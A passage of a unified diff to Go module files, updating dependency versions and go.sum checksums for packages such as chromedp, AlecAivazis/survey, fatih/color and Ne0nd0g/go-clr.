|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.7.0 // indirect
|
||||
github.com/jackc/pgconn v1.13.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jackc/pgtype v1.12.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.17.2 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/nxadm/tail v1.4.4 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
@@ -106,7 +118,9 @@ require (
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0 // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
modernc.org/ccgo/v3 v3.15.18 // indirect
|
||||
|
||||
@@ -27,7 +27,6 @@ cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4g
|
||||
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
|
||||
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
||||
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
|
||||
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
|
||||
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
|
||||
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
|
||||
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
|
||||
@@ -39,8 +38,8 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX
|
||||
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
|
||||
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2 h1:1I4qBrNsHQE+91tQCqVlfrKe9DEL65949d1oKZWVELY=
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0Ttd6q3Vl2fahjk=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
|
||||
github.com/Azure/azure-sdk-for-go v16.2.1+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
|
||||
@@ -75,6 +74,8 @@ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030IGemrRc=
|
||||
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
|
||||
github.com/Microsoft/go-winio v0.4.11/go.mod h1:VhR8bwka0BXejwEJY73c50VrPtXAaKcyvVC4A4RozmA=
|
||||
github.com/Microsoft/go-winio v0.4.14/go.mod h1:qXqCSQ3Xa7+6tgxaGTIe4Kpcdsi+P8jBhyzoq1bpyYA=
|
||||
github.com/Microsoft/go-winio v0.4.16-0.20201130162521-d1ffc52c7331/go.mod h1:XB6nPKklQyQ7GC9LdcBEcBl8PF76WugXOPRXwdLnMv0=
|
||||
@@ -85,9 +86,12 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
@@ -103,25 +107,15 @@ github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdc
|
||||
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
|
||||
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
|
||||
github.com/alecthomas/chroma v0.8.1/go.mod h1:sko8vR34/90zvl5QdcUdvzL3J8NKjAUx9va9jPuFNoM=
|
||||
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 h1:JHZL0hZKJ1VENNfmXvHbgYlbUOvpzYzvy2aZU5gXVeo=
|
||||
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
|
||||
github.com/alecthomas/kong v0.2.4/go.mod h1:kQOmtJgV+Lb4aj+I2LEn40cbtawdWJ9Y8QLq+lElKxE=
|
||||
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 h1:p9Sln00KOTlrYkxI1zYWl1QLnEqAqEARBEYa8FQnQcY=
|
||||
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
|
||||
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
|
||||
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
|
||||
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
||||
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
||||
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||
github.com/alexflint/go-filemutex v0.0.0-20171022225611-72bdc8eae2ae/go.mod h1:CgnQgUtFrFz9mxFNtED3jI5tLDjKlOM+oUF/sTk6ps0=
|
||||
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
|
||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
||||
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
|
||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
@@ -134,7 +128,6 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
|
||||
@@ -150,8 +143,14 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
|
||||
@@ -205,7 +204,6 @@ github.com/containernetworking/plugins v0.8.7/go.mod h1:R7lXeZaBzpfqapcAbHRW8/CY
|
||||
github.com/containers/ocicrypt v1.0.3/go.mod h1:CUBa+8MRNL/VkpxYIpaMtgn1WgXGyvPQj8jcy0EVG6g=
|
||||
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
|
||||
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||
github.com/coreos/go-iptables v0.4.5/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
|
||||
github.com/coreos/go-iptables v0.5.0/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
|
||||
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
|
||||
@@ -221,15 +219,15 @@ github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfc
|
||||
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/cyphar/filepath-securejoin v0.2.2/go.mod h1:FpkQEhXnPnOthhzymB7CGsFk2G9VLXONKD9G7QGMM+4=
|
||||
github.com/d2g/dhcp4 v0.0.0-20170904100407-a1d1b6c41b1c/go.mod h1:Ct2BUK8SB0YC1SMSibvLzxjeJLnrYEVLULFNiHY9YfQ=
|
||||
github.com/d2g/dhcp4client v1.0.0/go.mod h1:j0hNfjhrt2SxUOw55nL0ATM/z4Yt3t2Kd1mW34z5W5s=
|
||||
github.com/d2g/dhcp4server v0.0.0-20181031114812-7d4a0a7f59a5/go.mod h1:Eo87+Kg/IX2hfWJfwxMzLyuSZyxSoAug2nGa1G2QAi8=
|
||||
github.com/d2g/hardwareaddr v0.0.0-20190221164911-e7d9fbe030e4/go.mod h1:bMl4RjIciD2oAxI7DmWRx6gbeqrkoLqv3MV0vzNad+I=
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk=
|
||||
github.com/davecgh/go-spew v0.0.0-20151105211317-5215b55f46b2/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
@@ -247,8 +245,8 @@ github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM5
|
||||
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
|
||||
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
|
||||
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
||||
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
|
||||
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dnaeon/go-vcr v1.0.1/go.mod h1:aBB1+wY4s93YsC3HHjMBMrwTj2R9FHDzUr9KyGc8n1E=
|
||||
github.com/docker/distribution v2.7.1-0.20190205005809-0d3efadf0154+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w=
|
||||
github.com/docker/docker v1.4.2-0.20191028175130-9e7d5ac5ea55/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk=
|
||||
@@ -280,16 +278,16 @@ github.com/evanphx/json-patch v4.9.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLi
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
|
||||
github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
|
||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
||||
github.com/fullsailor/pkcs7 v0.0.0-20190404230743-d7302db945fa/go.mod h1:KnogPXtdwXqoenmZCw6S+25EAm2MkxbG0deNDu4cbSA=
|
||||
github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
|
||||
github.com/garyburd/redigo v0.0.0-20150301180006-535138d7bcd7/go.mod h1:NR3MbYisc3/PwhQ00EMzDiPmrwpPxAn5GI05/YaO1SY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
@@ -301,8 +299,10 @@ github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2
|
||||
github.com/go-ini/ini v1.25.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
|
||||
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
|
||||
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
